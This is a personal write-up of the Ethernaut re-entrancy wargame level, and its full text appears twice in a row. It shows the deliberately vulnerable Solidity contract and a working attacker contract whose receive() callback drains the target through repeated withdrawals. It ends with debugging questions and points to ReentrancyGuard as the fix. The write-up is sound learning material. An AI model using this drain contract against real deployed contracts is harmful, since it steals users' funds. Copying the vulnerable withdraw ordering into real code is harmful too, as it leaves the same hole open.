Okay so reentrancy. This is one of the vulnerabilities that you hear about a lot in the ethereum space so was looking forward to understanding how it works

https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Our contract here serves as a store of value where anyone can deposit funds and withdraw them at any time. Looking at the contract logic, a user should only be able to withdraw up to the amount of funds that they have in their balance.

The cool thing about reentrancy attacks is that they can allow an attacker to recursively pull out funds. This happens because the balance is only updated after the amount has been sent to the user. Because of this, the attacking contract can call back in to the main contract and withdraw again.

I created an attacker contract that looks like this

contract AttackReentrance {
  address payable contractAddress;
  Reentrance reentranceInstance;

  constructor (address payable _contractAddress) {
      contractAddress = _contractAddress;
      reentranceInstance = Reentrance(contractAddress);
  }

  receive () external payable {
      reentranceInstance.withdraw(0.001 ether);
  }

  function donate() public payable {
      contractAddress.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
  }

  function attack () public payable {
      reentranceInstance.withdraw(0.001 ether);
  }
}

With this AttackReentrance contract, I make a donation to the instance of Reentrance first. After that, I call attack which just performs a withdrawal of the amount donated back into AttackReentrance. The special sauce here is the receive callback function. As an aside, I’m finding that fallback functions are extremely versatile for attacking contracts because they force contracts to run my code.

The receive function then calls withdraw again for 0.001 ether. Since the balance is only updated in Reentrance after the transfer has been made, the users balance has not been updated at this point. This means that the next withdrawal will go through and withdrawals will keep happening until the Reentrance instance is completely drained of funds.

There were some problems that I could not figure out why they were happening here.

1. When I called donate on my AttackReentrance function, my transactions always ran out of gas when using the estimate from Remix. I had to 10x the gas estimate to ensure the transaction went through which was odd

2. I expected to be able to use call on the contract address instead of initiating an instance of the contract. I was only able to initiate an instance because I had the source code for Reentrance. This call kept failing for me. If someone knows why, please let me know 🤠

   contractAddress.call(abi.encodeWithSignature("withdraw(uint)", 1000000));
   

1. Reentrancy problems are pretty simple to avoid using something like ReentrancyGuard from OpenZeppelin. However, it is really cool to see how they work and see in practice how dangerous they can be

Okay so reentrancy. This is one of the vulnerabilities that you hear about a lot in the ethereum space so was looking forward to understanding how it works

https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Our contract here serves as a store of value where anyone can deposit funds and withdraw them at any time. Looking at the contract logic, a user should only be able to withdraw up to the amount of funds that they have in their balance.

The cool thing about reentrancy attacks is that they can allow an attacker to recursively pull out funds. This happens because the balance is only updated after the amount has been sent to the user. Because of this, the attacking contract can call back in to the main contract and withdraw again.

I created an attacker contract that looks like this

contract AttackReentrance {
  address payable contractAddress;
  Reentrance reentranceInstance;

  constructor (address payable _contractAddress) {
      contractAddress = _contractAddress;
      reentranceInstance = Reentrance(contractAddress);
  }

  receive () external payable {
      reentranceInstance.withdraw(0.001 ether);
  }

  function donate() public payable {
      contractAddress.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
  }

  function attack () public payable {
      reentranceInstance.withdraw(0.001 ether);
  }
}

With this AttackReentrance contract, I make a donation to the instance of Reentrance first. After that, I call attack which just performs a withdrawal of the amount donated back into AttackReentrance. The special sauce here is the receive callback function. As an aside, I’m finding that fallback functions are extremely versatile for attacking contracts because they force contracts to run my code.

The receive function then calls withdraw again for 0.001 ether. Since the balance is only updated in Reentrance after the transfer has been made, the users balance has not been updated at this point. This means that the next withdrawal will go through and withdrawals will keep happening until the Reentrance instance is completely drained of funds.

There were some problems that I could not figure out why they were happening here.

1. When I called donate on my AttackReentrance function, my transactions always ran out of gas when using the estimate from Remix. I had to 10x the gas estimate to ensure the transaction went through which was odd

2. I expected to be able to use call on the contract address instead of initiating an instance of the contract. I was only able to initiate an instance because I had the source code for Reentrance. This call kept failing for me. If someone knows why, please let me know 🤠

   contractAddress.call(abi.encodeWithSignature("withdraw(uint)", 1000000));
   

1. Reentrancy problems are pretty simple to avoid using something like ReentrancyGuard from OpenZeppelin. However, it is really cool to see how they work and see in practice how dangerous they can be